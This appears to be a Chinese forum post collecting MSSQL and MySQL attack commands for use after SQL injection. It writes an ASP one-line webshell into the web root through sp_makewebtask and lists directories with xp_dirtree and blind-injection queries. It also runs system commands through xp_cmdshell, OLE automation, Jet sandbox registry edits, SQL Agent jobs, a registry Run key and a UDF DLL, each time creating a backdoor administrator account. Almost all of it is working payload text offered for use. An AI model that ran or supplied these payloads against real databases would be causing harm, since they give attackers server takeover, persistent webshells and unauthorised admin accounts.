mssql实用命令及导出一句话
MSSQL语句导出一句话木马首先确定网站的WEB路径
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
//将一句话木马插入表中
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
//导出一个ASP文件
关于MSSQL列目录
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100), VARCHAR(100)) //建一个新表
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
and (select Count(1) from ) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
And (Select Top 1 len(Cast( as varchar(8000))+subdirectory) From (Select Top 2 , From pctest ORDER BY ,) D ORDER BY desc , desc) between 0 and 20 //猜解第二个字段
And (Select Top 1 unicode(substring(Cast( as varchar(8000))+subdirectory,1,1)) From (Select Top 1 , From pctest ORDER BY ,) D ORDER BY desc , desc) between 30 and 130 //逐一猜解字段名的每位字符
数据库版本和权限查看
and 1=(select @@VERSION) //查看详细的数据库信息.
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
1.利用xp_cmdshell执行命令
exec master..xp_cmdshell 'net user rfire 123456 /add'
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
恢复xp_cmdshell存储过程
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
2.利用SP_OAcreate和SP_OAMETHOD执行命令
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
DECLARE @shell INT //建立一个@shell实体
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
3.利用沙盒模式
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
开启沙盒模式:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
执行命令:
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
4.利用SQL代理执行命令
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
执行命令:
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
6.MYSQL的命令执行
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
首先要在su.php下导出c:\windows\udf.dll
导出后执行创建自定义函数命令:
Create Function cmdshell returns string soname 'udf.dll'
执行命令
select cmdshell('net user rfire 123456 /add')
执行后删除函数 drop function cmdshell
页:
[1]